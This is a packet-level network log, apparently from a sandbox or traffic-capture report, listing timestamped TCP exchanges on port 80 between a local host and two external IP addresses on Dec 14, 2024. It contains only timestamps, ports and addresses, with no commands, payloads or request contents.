Dec 14, 2024 14:56:26.037992001 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.038096905 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.038150072 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.046457052 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.046717882 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.046772003 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.054914951 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.055103064 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.055174112 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.063344955 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.063576937 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.063633919 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.071827888 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.071973085 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.072022915 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.080214024 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.080413103 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.083365917 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.088689089 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.088787079 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.088841915 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.097110987 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.097243071 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.097310066 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.105684996 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.105770111 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.105822086 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.113941908 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.114074945 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.114175081 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.122411013 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.164532900 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.247169971 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.247289896 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.248218060 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.248778105 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.248858929 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.248909950 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.315042973 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.315139055 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.315224886 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.318324089 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.318439960 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.318496943 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.324973106 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.326873064 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.328783989 CET	49873	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.390964985 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.448533058 CET	80	49873	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.512379885 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.512439966 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.512531042 CET	49879	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:26.565145969 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565205097 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565226078 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565236092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565279007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565279007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565319061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565356016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565367937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565390110 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565403938 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565435886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565517902 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565567017 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565634012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565684080 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565888882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.565957069 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.565959930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.566015005 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.632527113 CET	80	49879	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:26.685692072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.685729980 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.685816050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.689762115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.689932108 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.689976931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.689976931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.757208109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.757273912 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.757436037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.757504940 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.761342049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.761398077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.762862921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.762916088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.763005018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.763057947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.771284103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.771343946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.771461010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.771522999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.779781103 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.779834032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.779859066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.779891968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.788077116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.788149118 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.788310051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.788358927 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.796598911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.796633959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.796658993 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.796689034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.804940939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.805001974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.805103064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.805445910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.813479900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.813513994 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.813535929 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.813560009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.821001053 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.821058989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.821233988 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.821286917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.828659058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.828715086 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.828850985 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.828905106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.835938931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.835994959 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.836146116 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.836199999 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.877218962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.877268076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.877283096 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.877315998 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.949210882 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.949246883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.949269056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.949307919 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.951383114 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.951442957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.951487064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.951534986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.955912113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.955967903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.957745075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.957802057 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.957873106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.957926989 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.962096930 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.962157011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.962291002 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.962346077 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.966579914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.966639042 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.966702938 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.966857910 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.971031904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.971085072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.971270084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.971348047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.975627899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.975661993 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.975686073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.975720882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.979989052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.980060101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.980066061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.980115891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.984416008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.984483957 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.984616041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.984680891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.988816977 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.988940001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.988945961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.989106894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.993264914 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.993325949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.993505001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.993562937 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.997782946 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.997839928 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:26.997849941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:26.997904062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.002135038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.002197981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.002357960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.002413034 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.006764889 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.006817102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.006834030 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.006863117 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.010094881 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.010164976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.010179996 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.010360956 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.013611078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.013669968 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.013807058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.013987064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.017218113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.017268896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.017429113 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.017482996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.020631075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.020694971 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.020848989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.020901918 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.024219036 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.024283886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.024422884 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.024476051 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.027657032 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.027884960 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.027946949 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.031196117 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.031310081 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.034262896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.034779072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.034832001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.034837961 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.034883976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.038121939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.038180113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.141385078 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.141438961 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.141450882 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.141491890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.142684937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.142743111 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.142813921 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.142961025 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.145353079 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.145409107 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.145469904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.145525932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.148081064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.148140907 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.148190975 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.148242950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.150835037 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.150918007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.151014090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.151077032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.153430939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.153503895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.153546095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.153877020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.156039953 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.156100035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.156246901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.156305075 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.158760071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.158776999 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.158817053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.158849955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.161109924 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.161231041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.161279917 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.163547039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.163712025 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.163759947 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.166045904 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.166096926 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.166207075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.166255951 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.168461084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.168518066 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.168574095 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.168628931 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.170938015 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.170994997 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.171047926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.171108007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.173366070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.173428059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.173492908 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.173604965 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.175934076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.175987959 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.176053047 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.178313971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.178411007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.178477049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.180733919 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.180844069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.180898905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.183190107 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.183255911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.183304071 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.183360100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.185687065 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.185834885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.185893059 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.188102007 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.188168049 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.188188076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.188244104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.190727949 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.190984011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.191035032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.192977905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.193101883 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.193152905 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.195440054 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.195488930 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.195522070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.195570946 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.197905064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.198054075 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.198106050 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.200365067 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.200414896 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.200476885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.200524092 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.202816963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.202924967 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.202975035 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.205270052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.205370903 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.205398083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.205450058 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.207699060 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.207880020 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.207935095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.210272074 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.210323095 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.210325003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.210386038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.212641001 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.212796926 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.212847948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.215066910 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.215173960 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.215184927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.215240002 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.217533112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.217674017 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.217724085 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.219979048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.220077038 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.220132113 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:27.222410917 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:27.222475052 CET	49876	80	192.168.2.5	31.41.244.11
